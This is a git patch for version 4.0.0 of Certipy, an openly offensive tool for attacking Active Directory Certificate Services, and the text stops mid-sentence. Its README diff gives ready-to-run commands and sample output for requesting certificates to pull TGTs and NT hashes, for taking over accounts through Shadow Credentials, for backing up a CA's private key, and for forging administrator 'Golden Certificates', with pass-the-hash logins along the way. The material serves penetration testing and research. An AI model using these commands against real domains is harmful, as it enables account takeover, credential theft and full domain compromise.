From defd7f458d8287ed4dc72c5d3164e507d2df3bd9 Mon Sep 17 00:00:00 2001 From: Oliver Lyak ly4k <53348818+ly4k@users.noreply.github.com> Date: Thu, 4 Aug 2022 20:09:59 +0200 Subject: [PATCH] 4.0.0 --- .gitignore | 3 +- Certipy.spec | 44 + README.md | 474 +++++---- certipy/__init__.py | 0 certipy/certificate.py | 375 ------- certipy/commands/__init__.py | 0 certipy/{ => commands}/account.py | 86 +- certipy/{ => commands}/auth.py | 328 +++++-- certipy/{ => commands}/ca.py | 201 ++-- certipy/commands/cert.py | 91 ++ certipy/commands/find.py | 1142 ++++++++++++++++++++++ certipy/{ => commands}/forge.py | 162 ++- certipy/commands/parsers/__init__.py | 15 + certipy/commands/parsers/account.py | 79 ++ certipy/commands/parsers/auth.py | 108 ++ certipy/commands/parsers/ca.py | 118 +++ certipy/commands/parsers/cert.py | 50 + certipy/commands/parsers/find.py | 85 ++ certipy/commands/parsers/forge.py | 63 ++ certipy/commands/parsers/ptt.py | 30 + certipy/commands/parsers/relay.py | 93 ++ certipy/commands/parsers/req.py | 108 ++ certipy/commands/parsers/shadow.py | 53 + certipy/commands/parsers/target.py | 99 ++ certipy/commands/parsers/template.py | 47 + certipy/commands/ptt.py | 110 +++ certipy/{ => commands}/relay.py | 134 +-- certipy/commands/req.py | 764 +++++++++++++++ certipy/{ => commands}/shadow.py | 68 +- certipy/{ => commands}/template.py | 48 +- certipy/entry.py | 49 +- certipy/errors.py | 15 - certipy/find.py | 785 --------------- certipy/lib/__init__.py | 0 certipy/lib/certificate.py | 921 +++++++++++++++++ certipy/{ => lib}/constants.py | 144 +-- certipy/lib/errors.py | 70 ++ certipy/{ => lib}/formatting.py | 18 +- certipy/{ => lib}/kerberos.py | 191 ++-- certipy/{ => lib}/ldap.py | 201 +++- certipy/lib/logger.py | 73 ++ certipy/{ => lib}/pkinit.py | 2 +- certipy/{ => lib}/rpc.py | 41 +- certipy/{ => lib}/security.py | 15 +- certipy/lib/sspi/__init__ copy.py | 0 certipy/lib/sspi/__init__.py | 1 + certipy/lib/sspi/encryption.py | 906 +++++++++++++++++ certipy/lib/sspi/kerberos.py | 158 +++ certipy/lib/sspi/netsecapi.py | 1356 ++++++++++++++++++++++++++ certipy/lib/sspi/structs.py | 1084 ++++++++++++++++++++ certipy/{ => lib}/structs.py | 2 +- certipy/{ => lib}/target.py | 234 +++-- certipy/request.py | 398 -------- certipy/version.py | 0 customqueries.json | 30 + setup.py | 21 +- 56 files changed, 9028 insertions(+), 2665 deletions(-) create mode 100644 Certipy.spec create mode 100644 certipy/__init__.py delete mode 100644 certipy/certificate.py create mode 100644 certipy/commands/__init__.py rename certipy/{ => commands}/account.py (79%) mode change 100644 => 100755 rename certipy/{ => commands}/auth.py (66%) mode change 100644 => 100755 rename certipy/{ => commands}/ca.py (89%) mode change 100644 => 100755 create mode 100755 certipy/commands/cert.py create mode 100755 certipy/commands/find.py rename certipy/{ => commands}/forge.py (60%) mode change 100644 => 100755 create mode 100755 certipy/commands/parsers/__init__.py create mode 100755 certipy/commands/parsers/account.py create mode 100755 certipy/commands/parsers/auth.py create mode 100755 certipy/commands/parsers/ca.py create mode 100755 certipy/commands/parsers/cert.py create mode 100755 certipy/commands/parsers/find.py create mode 100755 certipy/commands/parsers/forge.py create mode 100755 certipy/commands/parsers/ptt.py create mode 100755 certipy/commands/parsers/relay.py create mode 100755 certipy/commands/parsers/req.py create mode 100755 certipy/commands/parsers/shadow.py create mode 100755 certipy/commands/parsers/target.py create mode 100755 certipy/commands/parsers/template.py create mode 100755 certipy/commands/ptt.py rename certipy/{ => commands}/relay.py (80%) mode change 100644 => 100755 create mode 100755 certipy/commands/req.py rename certipy/{ => commands}/shadow.py (88%) mode change 100644 => 100755 rename certipy/{ => commands}/template.py (84%) mode change 100644 => 100755 mode change 100644 => 100755 certipy/entry.py delete mode 100644 certipy/errors.py delete mode 100644 certipy/find.py create mode 100644 certipy/lib/__init__.py create mode 100755 certipy/lib/certificate.py rename certipy/{ => lib}/constants.py (77%) mode change 100644 => 100755 create mode 100755 certipy/lib/errors.py rename certipy/{ => lib}/formatting.py (73%) mode change 100644 => 100755 rename certipy/{ => lib}/kerberos.py (62%) mode change 100644 => 100755 rename certipy/{ => lib}/ldap.py (59%) mode change 100644 => 100755 create mode 100755 certipy/lib/logger.py rename certipy/{ => lib}/pkinit.py (99%) mode change 100644 => 100755 rename certipy/{ => lib}/rpc.py (87%) mode change 100644 => 100755 rename certipy/{ => lib}/security.py (82%) mode change 100644 => 100755 create mode 100644 certipy/lib/sspi/__init__ copy.py create mode 100755 certipy/lib/sspi/__init__.py create mode 100755 certipy/lib/sspi/encryption.py create mode 100755 certipy/lib/sspi/kerberos.py create mode 100755 certipy/lib/sspi/netsecapi.py create mode 100755 certipy/lib/sspi/structs.py rename certipy/{ => lib}/structs.py (96%) mode change 100644 => 100755 rename certipy/{ => lib}/target.py (57%) mode change 100644 => 100755 delete mode 100644 certipy/request.py mode change 100644 => 100755 certipy/version.py diff --git a/.gitignore b/.gitignore index d9005f2..f8b799b 100644 --- a/.gitignore +++ b/.gitignore @@ -14,7 +14,6 @@ dist/ downloads/ eggs/ .eggs/ -lib/ lib64/ parts/ sdist/ @@ -30,7 +29,6 @@ MANIFEST # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest -*.spec # Installer logs pip-log.txt @@ -150,3 +148,4 @@ cython_debug/ # and can be added to the global gitignore or merged into this file. For a more nuclear # option (not recommended) you can uncomment the following to ignore the entire idea folder. #.idea/ +testing/ \ No newline at end of file diff --git a/Certipy.spec b/Certipy.spec new file mode 100644 index 0000000..221537d --- /dev/null +++ b/Certipy.spec @@ -0,0 +1,44 @@ +# -*- mode: python ; coding: utf-8 -*- + + +block_cipher = None + + +a = Analysis( + ['certipy\\entry.py'], + pathex=[], + binaries=[], + datas=[], + hiddenimports=[], + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=[], + win_no_prefer_redirects=False, + win_private_assemblies=False, + cipher=block_cipher, + noarchive=False, +) +pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) + +exe = EXE( + pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + [], + name='Certipy', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + upx_exclude=[], + runtime_tmpdir=None, + console=True, + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, +) diff --git a/README.md b/README.md index b8b71e2..b305991 100644 --- a/README.md +++ b/README.md @@ -28,32 +28,40 @@ Certipy is an offensive tool for enumerating and abusing Active Directory Certif ## Installation ```bash -python3 setup.py install +pip3 install /path/to/Certipy +``` + +or + +```bash +python3 /path/to/Certipy/setup.py install ``` ## Usage -A lot of the usage and features are demonstrated in the [blog post](https://research.ifcr.dk/34d1c26f0dc6) for the new Certipy 2.0 release. +A lot of the usage and features are demonstrated in the [blog posts](https://research.ifcr.dk/) for the release of Certipy [2.0](https://research.ifcr.dk/34d1c26f0dc6) and [4.0](https://research.ifcr.dk/7237d88061f7). ``` -Certipy v2.0.8 - by Oliver Lyak (ly4k) +Certipy v4.0.0 - by Oliver Lyak (ly4k) -usage: certipy [-v] [-h] {auth,ca,find,forge,relay,req,shadow,template,cert} ... +usage: certipy [-v] [-h] {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template} ... Active Directory Certificate Services enumeration and abuse positional arguments: - {auth,ca,find,forge,relay,req,shadow,template,cert} + {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template} Action + account Manage user and machine accounts auth Authenticate using certificates ca Manage CA and certificates + cert Manage certificates and private keys find Enumerate AD CS forge Create Golden Certificates + ptt Inject TGT for SSPI authentication relay NTLM Relay to AD CS HTTP Endpoints req Request certificates shadow Abuse Shadow Credentials for account takeover template Manage certificate templates - cert Manage certificates and private keys optional arguments: -v, --version Show Certipy's version number and exit @@ -65,157 +73,198 @@ optional arguments: The `find` command is useful for enumerating AD CS certificate templates, certificate authorities and other configurations. ``` -Certipy v2.0.8 - by Oliver Lyak (ly4k) +Certipy v4.0.0 - by Oliver Lyak (ly4k) -usage: certipy find [-h] [-debug] [-json] [-bloodhound] [-text] [-output prefix] [-enabled] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-hashes LMHASH:NTHASH] [-no-pass] [-k] target - -positional arguments: - target [[domain/]username[:password]@] +usage: certipy find [-h] [-debug] [-bloodhound] [-old-bloodhound] [-text] [-stdout] [-json] [-output prefix] [-enabled] [-dc-only] [-vulnerable] [-hide-admins] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] + [-timeout seconds] [-u username@domain] [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass] optional arguments: -h, --help show this help message and exit -debug Turn debug output on output options: - -json Output result as JSON only - -bloodhound Output result as BloodHound data only - -text, -txt Output result as text only + -bloodhound Output result as BloodHound data for the custom-built BloodHound version from @ly4k with PKI support + -old-bloodhound Output result as BloodHound data for the original BloodHound version from @BloodHoundAD without PKI support + -text Output result as text + -stdout Output result as text to stdout + -json Output result as JSON -output prefix Filename prefix for writing results to find options: - -enabled Show only enabled certificate templates + -enabled Show only enabled certificate templates. Does not affect BloodHound output + -dc-only Collects data only from the domain controller. Will not try to retrieve CA security/configuration or check for Web Enrollment + -vulnerable Show only vulnerable certificate templates based on nested group memberships. Does not affect BloodHound output + -hide-admins Don't show administrator permissions for -text, -stdout, and -json. Does not affect BloodHound output connection options: -scheme ldap scheme -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it + -target dns/ip address + DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication -ns nameserver Nameserver for DNS resolution -dns-tcp Use TCP instead of UDP for DNS queries -timeout seconds Timeout for connections authentication options: - -hashes LMHASH:NTHASH - NTLM hashes, format is LMHASH:NTHASH - -no-pass Don't ask for password (useful for -k) + -u username@domain, -username username@domain + Username. Format: username@domain + -p password, -password password + Password + -hashes [LMHASH:]NTHASH + NTLM hash, format is [LMHASH:]NTHASH -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line + -sspi Use Windows Integrated Authentication (SSPI) + -aes hex key AES key to use for Kerberos Authentication (128 or 256 bits) + -no-pass Don't ask for password (useful for -k and -sspi) ``` The output can come in various formats. By default, Certipy will output the enumeration results as text, JSON, and BloodHound data. ```bash -$ certipy find 'corp.local/john:Passw0rd!@dc.corp.local' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 +Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Finding certificate templates -[*] Found 37 certificate templates +[*] Found 45 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority -[*] Found 8 enabled certificate templates -[*] Saved text output to '20220218220900_Certipy.txt' -[*] Saved JSON output to '20220218220900_Certipy.json' -[*] Saved BloodHound data to '20220218220900_Certipy.zip'. Drag and drop the file into the BloodHound GUI +[*] Found 23 enabled certificate templates +[*] Trying to get CA configuration for 'CORP-DC-CA' via CSRA +[*] Got CA configuration for 'CORP-DC-CA' +[*] Saved BloodHound data to '20220802164803_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k +[*] Saved text output to '20220802164803_Certipy.txt' +[*] Saved JSON output to '20220802164803_Certipy.json' ``` To only output BloodHound data, you can specify the `-bloodhound` parameter. ```bash -$ certipy find 'corp.local/john:Passw0rd!@dc.corp.local' -bloodhound -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy find -u john@corp.local -p Passw0rd -bloodhound -dc-ip 172.16.126.128 +Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Finding certificate templates -[*] Found 37 certificate templates +[*] Found 45 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority -[*] Found 8 enabled certificate templates -[*] Saved BloodHound data to '20220218220909_Certipy.zip'. Drag and drop the file into the BloodHound GUI +[*] Found 23 enabled certificate templates +[*] Trying to get CA configuration for 'CORP-DC-CA' via CSRA +[*] Got CA configuration for 'CORP-DC-CA' +[*] Saved BloodHound data to '20220802164835_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k ``` -The BloodHound data is saved as a ZIP-file that can be imported into the latest version of BloodHound. Please note that Certipy uses BloodHound's new format, introduced in version 4. +The BloodHound data is saved as a ZIP-file that can be imported into my forked version of [BloodHound](https://github.com/ly4k/BloodHound/releases) with PKI support. -Custom Certipy queries for BloodHound can be found in [customqueries.json](./customqueries.json). +If you want BloodHound data output that is compatible with the original version of BloodHound, you can pass the `-old-bloodhound` parameter. Please note that Certipy uses BloodHound's new format, introduced in version 4, but that PKI integration is only supported in the [forked version](https://github.com/ly4k/BloodHound/). + +Custom Certipy queries for BloodHound can be found in [customqueries.json](./customqueries.json). These will not be necessary for the forked version. On Linux, custom BloodHound queries can be added in `~/.config/bloodhound/customqueries.json`, and for Windows in `C:\Users\[USERNAME]\AppData\Roaming\BloodHound\customqueries.json` ### Request -The `req` command is useful for requesting and retrieving certificates. +The `req` command is useful for requesting, retrieving, and renewing certificates. ``` -Certipy v2.0.8 - by Oliver Lyak (ly4k) - -usage: certipy req [-h] -ca certificate authority name [-debug] [-template template name] [-alt alternative UPN] [-retrieve request ID] [-on-behalf-of domain\account] [-pfx pfx/p12 file name] [-out output file name] [-dynamic-endpoint] [-dc-ip ip address] [-target-ip ip address] [-ns nameserver] [-dns-tcp] - [-timeout seconds] [-hashes LMHASH:NTHASH] [-no-pass] [-k] - target +Certipy v4.0.0 - by Oliver Lyak (ly4k) -positional arguments: - target [[domain/]username[:password]@] +usage: certipy req [-h] [-debug] -ca certificate authority name [-template template name] [-upn alternative UPN] [-dns alternative DNS] [-subject subject] [-retrieve request ID] [-on-behalf-of domain\account] [-pfx pfx/p12 file name] [-key-size RSA key length] [-archive-key] + [-renew] [-out output file name] [-web] [-dynamic-endpoint] [-scheme http scheme] [-port PORT] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-u username@domain] [-p password] + [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass] optional arguments: -h, --help show this help message and exit - -ca certificate authority name -debug Turn debug output on + -ca certificate authority name certificate request options: -template template name - -alt alternative UPN + -upn alternative UPN + -dns alternative DNS + -subject subject Subject to include certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL -retrieve request ID Retrieve an issued certificate specified by a request ID instead of requesting a new certificate -on-behalf-of domain\account Use a Certificate Request Agent certificate to request on behalf of another user -pfx pfx/p12 file name - Path to Certificate Request Agent certificate + Path to PFX for -on-behalf-of or -renew + -key-size RSA key length + Length of RSA key. Default: 2048 + -archive-key Send private key for Key Archival + -renew Create renewal request output options: -out output file name connection options: - -dynamic-endpoint Prefer dynamic TCP endpoint over named pipe + -web Use Web Enrollment instead of RPC -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it + -target dns/ip address + DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication -ns nameserver Nameserver for DNS resolution -dns-tcp Use TCP instead of UDP for DNS queries -timeout seconds Timeout for connections +rpc connection options: + -dynamic-endpoint Prefer dynamic TCP endpoint over named pipe + +http connection options: + -scheme http scheme + -port PORT Web Enrollment port. If omitted, port 80 or 443 will be chosen by default depending on the scheme. + authentication options: - -hashes LMHASH:NTHASH - NTLM hashes, format is LMHASH:NTHASH - -no-pass Don't ask for password (useful for -k) + -u username@domain, -username username@domain + Username. Format: username@domain + -p password, -password password + Password + -hashes [LMHASH:]NTHASH + NTLM hash, format is [LMHASH:]NTHASH -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line + -sspi Use Windows Integrated Authentication (SSPI) + -aes hex key AES key to use for Kerberos Authentication (128 or 256 bits) + -no-pass Don't ask for password (useful for -k and -sspi) ``` -To request a certificate, you must specify the Certificate Authority (CA) and the template to enroll in. +To request a certificate, you must specify the name and host/IP of a Certificate Authority (CA) for enrollment. By default, this will use the provided credentials to enroll in the default `User` template. In this example, we request a certificate from the CA `corp-CA` based on the template `User`. ```bash -$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy req -username john@corp.local -password Passw0rd -ca CORP-DC-CA -target ca.corp.local -template User +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Requesting certificate +[*] Requesting certificate via RPC [*] Successfully requested certificate -[*] Request ID is 688 -[*] Got certificate with UPN 'john@corp.local' +[*] Request ID is 773 +[*] Got certificate with UPN 'JOHN@corp.local' +[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-1103' [*] Saved certificate and private key to 'john.pfx' ``` -If the request succeeds, the certificate and private key will be saved as a PFX file. The PFX file can then be used for various purposes depending on the certificate's usage. +If the request succeeds, the certificate and private key will be saved as a PFX file. The PFX file can then be used for various purposes depending on the certificate's usage. + +If you're in a domain context on a Windows machine, but you don't know the credentials of the current user, you can use the `-sspi` parameter, which will make Certipy use Windows APIs for retrieving the proper Kerberos tickets using your current context. ### Authenticate -The `auth` command will use the PKINIT Kerberos extension to authenticate with the provided certificate to retrieve a TGT and the NT hash of the user. +The `auth` command will use either the PKINIT Kerberos extension or Schannel protocol for authentication with the provided certificate. Kerberos can be used to retrieve a TGT and the NT hash for the target user, whereas Schannel will open a connection to LDAPS and drop into an interactive shell with limited LDAP commands. See the [blog posts](https://research.ifcr.dk/) for more information on when to use which option. ``` -Certipy v2.0.8 - by Oliver Lyak (ly4k) +Certipy v4.0.0 - by Oliver Lyak (ly4k) -usage: certipy auth [-h] -pfx pfx/p12 file name [-no-ccache] [-no-hash] [-debug] [-dc-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-username username] [-domain domain] +usage: certipy auth [-h] -pfx pfx/p12 file name [-no-save] [-no-hash] [-ptt] [-print] [-kirbi] [-debug] [-dc-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-username username] [-domain domain] [-ldap-shell] [-ldap-port port] [-ldap-user-dn dn] optional arguments: -h, --help show this help message and exit -pfx pfx/p12 file name Path to certificate - -no-ccache Don't save CCache + -no-save Don't save TGT to file -no-hash Don't request NT hash + -ptt Submit TGT for current logon session (Windows only) + -print Print TGT in Kirbi format + -kirbi Save TGT in Kirbi format -debug Turn debug output on connection options: @@ -227,36 +276,41 @@ connection options: authentication options: -username username -domain domain + -ldap-shell Authenticate with the certificate via Schannel against LDAP + +ldap options: + -ldap-port port LDAP port. Default: 389 + -ldap-user-dn dn Distinguished Name of target account for LDAPS authentication ``` -By default, Certipy will try to extract the username and domain from the certificate (`-pfx`) for authentication. +By default, Certipy will try to extract the username and domain from the certificate (`-pfx`) for authentication via Kerberos. ```bash -$ certipy auth -pfx administrator.pfx -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128 +Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Using principal: administrator@corp.local [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' -[*] Got NT hash for 'administrator@corp.local': a87f3a337d73085c45f9416be5787d86 +[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889 ``` -The NT hash and the credential cache (TGT) can be used for further authentication with other tools. +The NT hash and the credential cache (TGT) can be used for further authentication with other tools. If you're in a domain context on a Windows machine, you can use `-ptt` to inject the TGT into your current session. -If the example above doesn't work in your case, you can specify the required parameters manually, such as the KDC IP, username, and domain. +If the example above doesn't work in your case, you can specify the required parameters manually, such as the KDC IP, username, and domain. This can sometimes happen if the certificate doesn't contain information about the user (such as Shadow Credentials) or if the domain name cannot be resolved via DNS. ```bash -$ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.126.128 +Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Using principal: administrator@corp.local [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' -[*] Got NT hash for 'administrator@corp.local': a87f3a337d73085c45f9416be5787d86 +[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889 ``` ### Shadow Credentials @@ -264,14 +318,15 @@ Certipy v2.0.8 - by Oliver Lyak (ly4k) The `shadow` command is useful for taking over an account when you can write to the `msDS-KeyCredentialLink` attribute of the account. Read more about Shadow Credentials [here](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). ``` -Certipy v2.0.8 - by Oliver Lyak (ly4k) +Certipy v4.0.0 - by Oliver Lyak (ly4k) -usage: certipy shadow [-h] [-account target account] [-device-id DEVICE_ID] [-debug] [-out output file name] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-hashes LMHASH:NTHASH] [-no-pass] [-k] {list,add,remove,clear,info,auto} target +usage: certipy shadow [-h] [-account target account] [-device-id DEVICE_ID] [-debug] [-out output file name] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-u username@domain] + [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass] + {list,add,remove,clear,info,auto} positional arguments: {list,add,remove,clear,info,auto} Key Credentials action - target [[domain/]username[:password]@] optional arguments: -h, --help show this help message and exit @@ -288,15 +343,23 @@ connection options: -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it + -target dns/ip address + DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication -ns nameserver Nameserver for DNS resolution -dns-tcp Use TCP instead of UDP for DNS queries -timeout seconds Timeout for connections authentication options: - -hashes LMHASH:NTHASH - NTLM hashes, format is LMHASH:NTHASH - -no-pass Don't ask for password (useful for -k) + -u username@domain, -username username@domain + Username. Format: username@domain + -p password, -password password + Password + -hashes [LMHASH:]NTHASH + NTLM hash, format is [LMHASH:]NTHASH -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line + -sspi Use Windows Integrated Authentication (SSPI) + -aes hex key AES key to use for Kerberos Authentication (128 or 256 bits) + -no-pass Don't ask for password (useful for -k and -sspi) ``` In short, the Shadow Credentials attack is performed by adding a new "Key Credential" to the target account. The Key Credential can then be used with the PKINIT Kerberos extension for authentication. @@ -304,25 +367,25 @@ In short, the Shadow Credentials attack is performed by adding a new "Key Creden Certipy's `shadow` command has an `auto` action, which will add a new Key Credential to the target account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and finally restore the old Key Credential attribute. ```bash -$ certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy shadow auto -username John@corp.local -p Passw0rd -account Jane +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Targeting user 'johnpc$' +[*] Targeting user 'Jane' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential -[*] Key Credential generated with DeviceID '40d662ce-1112-042f-43cc-d14dc981c671' -[*] Adding Key Credential with device ID '40d662ce-1112-042f-43cc-d14dc981c671' to the Key Credentials for 'johnpc$' -[*] Successfully added Key Credential with device ID '40d662ce-1112-042f-43cc-d14dc981c671' to the Key Credentials for 'johnpc$' -[*] Authenticating as 'johnpc$' with the certificate -[*] Using principal: johnpc$@corp.local +[*] Key Credential generated with DeviceID '00f38738-288e-4c85-479a-a6313ab46fe6' +[*] Adding Key Credential with device ID '00f38738-288e-4c85-479a-a6313ab46fe6' to the Key Credentials for 'Jane' +[*] Successfully added Key Credential with device ID '00f38738-288e-4c85-479a-a6313ab46fe6' to the Key Credentials for 'Jane' +[*] Authenticating as 'Jane' with the certificate +[*] Using principal: jane@corp.local [*] Trying to get TGT... [*] Got TGT -[*] Saved credential cache to 'johnpc.ccache' -[*] Trying to retrieve NT hash for 'johnpc$' -[*] Restoring the old Key Credentials for 'johnpc$' -[*] Successfully restored the old Key Credentials for 'johnpc$' -[*] NT hash for 'johnpc$': fc525c9683e8fe067095ba2ddc971889 +[*] Saved credential cache to 'jane.ccache' +[*] Trying to retrieve NT hash for 'jane' +[*] Restoring the old Key Credentials for 'Jane' +[*] Successfully restored the old Key Credentials for 'Jane' +[*] NT hash for 'Jane': a87f3a337d73085c45f9416be5787d86 ``` This action is useful if you just want the NT hash or TGT for further authentication. It is possibly to manually add, authenticate, and delete the Key Credential, if desired. See the usage or [blog post](https://research.ifcr.dk/34d1c26f0dc6) for more information. @@ -332,20 +395,24 @@ This action is useful if you just want the NT hash or TGT for further authentica Golden Certificates are certificates that are manually forged with a compromised CA's certificate and private key, just like Golden Tickets are forged with a compromised `krbtgt` account's NT hash. ``` -Certipy v2.0.8 - by Oliver Lyak (ly4k) +Certipy v4.0.0 - by Oliver Lyak (ly4k) -usage: certipy forge [-h] -ca-pfx pfx/p12 file name -alt alternative UPN [-template pfx/p12 file name] [-subject subject] [-crl ldap path] [-serial serial number] [-debug] [-out output file name] +usage: certipy forge [-h] -ca-pfx pfx/p12 file name [-upn alternative UPN] [-dns alternative DNS] [-template pfx/p12 file name] [-subject subject] [-issuer issuer] [-crl ldap path] [-serial serial number] [-key-size RSA key length] [-debug] [-out output file name] optional arguments: -h, --help show this help message and exit -ca-pfx pfx/p12 file name Path to CA certificate - -alt alternative UPN + -upn alternative UPN + -dns alternative DNS -template pfx/p12 file name Path to template certificate -subject subject Subject to include certificate + -issuer issuer Issuer to include certificate. If not specified, the issuer from the CA cert will be used -crl ldap path ldap path to a CRL -serial serial number + -key-size RSA key length + Length of RSA key. Default: 2048 -debug Turn debug output on output options: @@ -357,24 +424,34 @@ In order to forge a certificate, we need the CA's certificate and private key. Certipy can automatically retrieve the certificate and private key with the `-backup` parameter. In order to do so, the user must have administrative privileges on the CA server. ```bash -$ certipy ca 'corp.local/administrator@ca.corp.local' -hashes :a87f3a337d73085c45f9416be5787d86 -backup -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy ca -backup -ca 'corp-DC-CA' -username administrator@corp.local -hashes fc525c9683e8fe067095ba2ddc971889 +Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Creating new service [*] Creating backup [*] Retrieving backup [*] Got certificate and private key -[*] Saved certificate and private key to 'corp-CA.pfx' +[*] Saved certificate and private key to 'CORP-DC-CA.pfx' [*] Cleaning up ``` With the CA's certificate and private key, we can for instance forge a certificate for the domain controller `DC$`: ```bash -$ certipy forge -ca-pfx 'corp-CA.pfx' -alt 'DC$@corp.local' -Certipy v2.0.8 - by Oliver Lyak (ly4k) +$ certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL' +Certipy v4.0.0 - by Oliver Lyak (ly4k) -[*] Saved forged certificate and private key to 'dc.pfx' +[*] Saved forged certificate and private key to 'administrator_forged.pfx' + +$ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128 +Certipy v4.0.0 - by Oliver Lyak (ly4k) + +[*] Using principal: administrator@corp.local +[*] Trying to get TGT... +[*] Got TGT +[*] Saved credential cache to 'administrator.ccache' +[*] Trying to retrieve NT hash for 'administrator' +[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889 ``` The forged certificate can then be used for authentication with Certipy's `auth` command. If the KDC returns `KDC_ERR_CLIENT_NOT_TRUSTED`, it means that the forging was not correct. This usually happens because of a missing certificate revocation list (CRL) in the certificate. You can either specify the CRL manually with `-crl`, or you can use a previously issued certificate as a template with the `-template` parameter. Please note that the template will include all non-defined extensions and attributes in the new certificate, such as the subject and serial number. Certipy will not include any extended key usage in the forged certificate, which means the certificate can be used for any purpose. @@ -384,7 +461,7 @@ The forged certificate can then be used for authentication with Certipy's `auth` The `cert` command is useful for working with PFX's from other tools, such as [Certify](https://github.com/GhostPack/Certify) or [KrbRelay](https://github.com/cube0x0/KrbRelay), which creates encrypted PFXs. ``` -Certipy v2.0.8 - by Oliver Lyak (ly4k) +Certipy v4.0.0 - by Oliver Lyak (ly4k) usage: certipy cert [-h] [-pfx infile] [-password password] [-key infile] [-cert infile] [-export] [-out outfile] [-nocert] [-nokey] [-debug] @@ -405,7 +482,7 @@ Certipy's commands do not support PFXs with passwords. In order to use an encryp ```bash $ certipy cert -pfx encrypted.pfx -password "a387a1a1-5276-4488-9877-4e90da7567a4" -export -out decrypted.pfx -Certipy v2.0.8 - by Oliver Lyak (ly4k) +Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Writing PFX to 'decrypted.pfx' ``` @@ -416,7 +493,7 @@ It is also 